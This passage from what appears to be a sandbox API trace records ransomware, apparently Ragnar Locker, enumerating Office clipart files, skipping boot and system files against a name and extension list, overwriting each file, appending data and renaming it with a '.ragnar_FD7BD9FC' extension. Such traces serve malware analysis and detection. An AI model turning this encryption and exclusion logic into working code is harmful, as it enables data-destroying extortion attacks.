files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.745] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0079.745] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.745] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00135_.GIF" | out: lpString1="AG00135_.GIF") returned="AG00135_.GIF" [0079.745] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned=".GIF" [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="autorun.inf") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="boot.ini") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="bootfont.bin") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="bootsect.bak") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="bootmgr") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="bootmgr.efi") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="desktop.ini") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="iconcache.db") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="ntldr") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="ntuser.dat") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="ntuser.ini") returned -1 [0079.745] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="thumbs.db") returned -1 [0079.745] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.745] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.745] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.745] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.745] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.745] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.745] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0079.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.747] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2596) returned 1 [0079.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.747] GetProcessHeap () returned 0x580000 [0079.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.747] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.748] VirtualAlloc (lpAddress=0x0, dwSize=0xa24, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.748] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa24, lpOverlapped=0x0) returned 1 [0079.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.749] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa24, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.749] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa24, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa24, lpOverlapped=0x0) returned 1 [0079.749] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa24, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.749] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.749] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.749] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.749] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.749] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.749] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.749] GetProcessHeap () returned 0x580000 [0079.749] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.749] CloseHandle (hObject=0xf4) returned 1 [0079.750] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" [0079.750] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.ragnar_FD7BD9FC" [0079.750] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0079.750] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.750] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00139_.GIF" | out: lpString1="AG00139_.GIF") returned="AG00139_.GIF" [0079.750] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned=".GIF" [0079.750] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.750] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="autorun.inf") returned -1 [0079.750] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="boot.ini") returned -1 [0079.750] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="bootfont.bin") returned -1 [0079.750] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="bootsect.bak") returned -1 [0079.750] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="bootmgr") returned -1 [0079.750] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="bootmgr.efi") returned -1 [0079.750] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.751] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="desktop.ini") returned -1 [0079.751] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="iconcache.db") returned -1 [0079.751] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="ntldr") returned -1 [0079.751] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="ntuser.dat") returned -1 [0079.751] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.751] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="ntuser.ini") returned -1 [0079.751] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="thumbs.db") returned -1 [0079.751] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.751] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.751] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.751] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.751] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.751] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.751] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0079.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.752] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10607) returned 1 [0079.752] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2966, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.752] GetProcessHeap () returned 0x580000 [0079.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.752] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.753] VirtualAlloc (lpAddress=0x0, dwSize=0x296f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.754] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x296f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x296f, lpOverlapped=0x0) returned 1 [0079.755] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.755] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x296f, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.755] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x296f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x296f, lpOverlapped=0x0) returned 1 [0079.755] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x296f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.755] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.755] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x296f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.755] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.755] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.755] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.755] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.756] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.756] GetProcessHeap () returned 0x580000 [0079.756] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.756] CloseHandle (hObject=0xf4) returned 1 [0079.756] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" [0079.756] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.ragnar_FD7BD9FC" [0079.756] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.756] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0079.756] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.756] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00142_.GIF" | out: lpString1="AG00142_.GIF") returned="AG00142_.GIF" [0079.756] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned=".GIF" [0079.756] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.756] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="autorun.inf") returned -1 [0079.756] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="boot.ini") returned -1 [0079.756] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="bootfont.bin") returned -1 [0079.756] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="bootsect.bak") returned -1 [0079.757] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="bootmgr") returned -1 [0079.757] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="bootmgr.efi") returned -1 [0079.757] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.757] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="desktop.ini") returned -1 [0079.757] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="iconcache.db") returned -1 [0079.757] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="ntldr") returned -1 [0079.757] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="ntuser.dat") returned -1 [0079.757] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.757] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="ntuser.ini") returned -1 [0079.757] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="thumbs.db") returned -1 [0079.757] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.757] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.757] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.757] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.757] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.757] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.757] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0079.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.757] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15308) returned 1 [0079.757] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3bc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.757] GetProcessHeap () returned 0x580000 [0079.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.758] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.759] VirtualAlloc (lpAddress=0x0, dwSize=0x3bcc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.759] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.759] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.759] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3bcc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3bcc, lpOverlapped=0x0) returned 1 [0079.760] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.760] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3bcc, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.760] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3bcc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3bcc, lpOverlapped=0x0) returned 1 [0079.761] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3bcc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.761] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.761] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3bcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.761] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.761] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.761] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.761] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.761] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.761] GetProcessHeap () returned 0x580000 [0079.761] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.761] CloseHandle (hObject=0xf4) returned 1 [0079.762] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" [0079.762] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.ragnar_FD7BD9FC" [0079.762] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.762] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0079.762] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: 